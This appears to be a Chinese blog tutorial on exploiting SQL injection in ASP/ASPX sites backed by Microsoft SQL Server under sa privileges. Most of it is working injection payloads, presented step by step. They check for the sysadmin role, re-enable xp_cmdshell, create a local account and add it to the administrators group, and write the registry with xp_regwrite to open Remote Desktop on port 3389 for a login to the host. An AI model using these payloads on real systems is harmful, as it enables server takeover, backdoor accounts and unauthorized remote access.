准备一个网站,mssql是微软数据库,网站后缀是asp或者aspx,权限涉及sa,dbowner,public。
sa权限注入
找到注入点后,检查是否是mssal数据库用
and exists (select * from%20sysobjects)
sysobjects是自带数据库,和mysql的information_schema性质类同,如果数据库的名字错误,界面会报错

判断用户名and system_user=0

检查是不是sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
没报错,说明是sa权限,可以利用拓展,将权限可以换成db_owner或者public就是判断权限归属

检查扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')


如果没有拓展程序可以进行恢复
;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
用拓展程序添加账户
;exec master..xp_cmdshell 'net user test test /add'
master库里面执行拓展程序,创建一个test账户密码test

test账户添加到本地管理员组
;exec master..xp_cmdshell 'net localgroup administrators test /add'
可以看到创建时间

开启3389端口进行远程连接宿主机
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
xp_regwrite是另一个远程拓展程序,上面是用注册表远程桌面控制,开启3389,REG_DWORD如果是0就是开启,是1就是关闭。


开启端口就可以连接宿主机


用刚才创建的那个test账户就能登录到宿主机

文章详细阐述了如何通过SQL注入检测和利用MSSQL数据库的SA权限,包括检查数据库存在、验证用户权限、启用扩展存储过程以及利用这些过程来添加用户、修改系统设置和开启远程桌面连接,从而对服务器进行潜在的非法操作。

1万+

被折叠的 条评论
为什么被折叠?



